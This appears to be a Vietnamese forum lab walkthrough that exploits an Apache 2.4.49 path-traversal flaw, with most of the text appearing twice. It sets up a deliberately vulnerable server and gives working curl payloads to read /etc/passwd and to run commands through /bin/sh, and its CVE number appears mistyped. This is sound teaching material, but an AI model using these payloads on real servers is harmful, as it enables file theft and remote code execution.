-
27/04/2017
-
30
-
76 bài viết
Hướng dẫn triển khai từng bước CVE-2021-41733
Chào các bạn,
Ở phần trước mình và các bạn đã cùng phân tích về CVE-2021-41733 trong Apache HTTP Server. Trong phần này chúng ta hãy cùng bắt tay vào từng bước để triển khai khai thác lỗ hổng này nhé.
Các thiết lập ban đầu
Bước 1: build và kết nối máy ảo (VM)
OK vậy là xong cấu hình network.
Làm tương tự với máy Kali.
Bước 2: Cấu hình và chạy Apache HTTP Server
Để cấu hình Apache thì có 2 cách để làm
OK như thế đã chạy thành công
sau đó nhập mật khẩu của user.
Như vậy là đã ok cho việc set up rồi. Tiếp theo thì mình thử khai thác thôi.
Khai thác.
Cấu hình như sau: Tại file httpd.conf ->. Add Require all granted
Rồi restart lại service rồi khai thác thôi.
Từ máy Kali: ta đọc nội dung file /etc/passwd
Vậy là chúng ta đã khai thác thành công.
Tiếp đến là RCE nào.
2. Path traversal to RCE
À mà lại quên để có thể RCE được thì lại thêm 1 cấu hình nữa như mình viết ở bài viết trước.
Đó là phải enable cái mod_cgi lên. Mình vào httpd.conf 1 lần nữa và cho cái này vào
Nhớ sau khi change xong thì phải restart lại nhé.
Bây giờ thử reverse shell thử nào.
Payload để reverse code executed là:
Đầu tiên ta sử dụng path traversal để truy cập vào thư viện sh, sau đó ta gửi command từ body của post request.
Ok, cuối cùng thì cũng RCE được rồi.
Và đến đây cũng xong phần demo rồi. Hy vọng các bạn thích bài này.
Bài này chỉ dùng cho mục đích học tập và rèn luyện thôi nhá .
Ở phần trước mình và các bạn đã cùng phân tích về CVE-2021-41733 trong Apache HTTP Server. Trong phần này chúng ta hãy cùng bắt tay vào từng bước để triển khai khai thác lỗ hổng này nhé.
- Attacker Machine: Kali Linux
- Webserver Machine: Ubuntu Server (https://ubuntu.com/download/server)
- Phiên bản Apache Http version 2.4.49 (https://archive.apache.org/dist/httpd/httpd-2.4.49.tar.gz)
Bước 1: build và kết nối máy ảo (VM)
- Đầu tiên là tải file .ISO của các máy ảo về và tùy thuộc vào từng phầm mềm ảo hóa mà chọn version (ở đây mình dùng vmware). Bạn có thể tải nó trực tiếp từ trang chủ.
- Sau khi buid xong ta tiến hành cấu hình network để cho 2 máy có thể kết nối với nhau trong 1 mạng nội
- Tại trang chủ chọn edit -> Virtual Network Editor
- Chọn Change setting
- Chọn Add Network
- Chọn cấu hình mạng là Bridged -> Apply -> OK
- Tiếp theo là trỏ 2 máy ảo vừa thiết lập đến mạng mình vừa tạo.
- Edit Virtual Machine Setting -> Network Adapter -> Custom > Chọn VMNet2
Làm tương tự với máy Kali.
- Bây giờ khởi động lại và kiểm tra nào.
- Ubuntu
- Kali:
Bước 2: Cấu hình và chạy Apache HTTP Server
Để cấu hình Apache thì có 2 cách để làm
- Login vào ubuntu rồi setting như bình thường
- Cách 2 là tạo 1 user ở ubuntu rồi từ kali ssh vào rồi cấu hình thôi.
- Trước tiên, ở đây mình tạo là spider và cài đặt đặt SSH. Vì cách tạo vs cài đặt SSH thông qua việc google nên mình sẽ không hướng dẫn chi tiết ở đây.
- Sau khi cài đặt ssh thì kiểm tra lại xem ssh có chạy hay không?
Mã:
Systemctl status ssh
OK như thế đã chạy thành công
- Bây giờ sang Kali nào. Ta SSH đến máy Ubuntu.
Mã:
Ssh username@IP_address
sau đó nhập mật khẩu của user.
- Bây giờ tiến hành cài Apache thôi nào.
- Do Apache phiên bản 2.4.49 không có sẵn nên mình cần download trước từ trang chủ Apache. Link ở trên nhé.
- Sau khi tải về thì thực hiện giải nén và cấu hình đúng chuẩn như trên trang chủ Apache (http://httpd.apache.org/docs/2.4/install.html)
- Sau khi cài đặt xong xuôi thì thử chạy thôi nào.
Mã:
sudo ./apachectl -k start
- À thêm cái này nữa. Thông thường khi bạn chơi tryhackme hay Hackthebox thì người ta lúc reverse shell được thì chỉ vào user là www-data. Thì đây mình chỉ luôn cách config dễ như việc người ta mua vé số mà ko trúng vậy đó.
- Ta chỉ cần vào file httpd.conf còn nó full path thì là /usr/local/apache2/conf
- Rồi sửa User vs Group thành www-data thôi.
- Rồi bây giờ thoát khỏi ssh rồi kiểm tra lại xem apache chạy ok chưa nào
- Từ kali gọi
Mã:
curl http://IP_Address
Khai thác.
- Path traversal và File disclosure
Cấu hình như sau: Tại file httpd.conf ->. Add Require all granted
Rồi restart lại service rồi khai thác thôi.
Từ máy Kali: ta đọc nội dung file /etc/passwd
Mã:
curl http://192.168.1.3/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd
Vậy là chúng ta đã khai thác thành công.
Tiếp đến là RCE nào.
2. Path traversal to RCE
À mà lại quên để có thể RCE được thì lại thêm 1 cấu hình nữa như mình viết ở bài viết trước.
Đó là phải enable cái mod_cgi lên. Mình vào httpd.conf 1 lần nữa và cho cái này vào
Nhớ sau khi change xong thì phải restart lại nhé.
Bây giờ thử reverse shell thử nào.
Payload để reverse code executed là:
Mã:
curl http://192.168.1.3/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh -v --data 'echo;whoami' -X POST
Đầu tiên ta sử dụng path traversal để truy cập vào thư viện sh, sau đó ta gửi command từ body của post request.
Ok, cuối cùng thì cũng RCE được rồi.
Và đến đây cũng xong phần demo rồi. Hy vọng các bạn thích bài này.
Bài này chỉ dùng cho mục đích học tập và rèn luyện thôi nhá .
Nguồn: Pentest Communty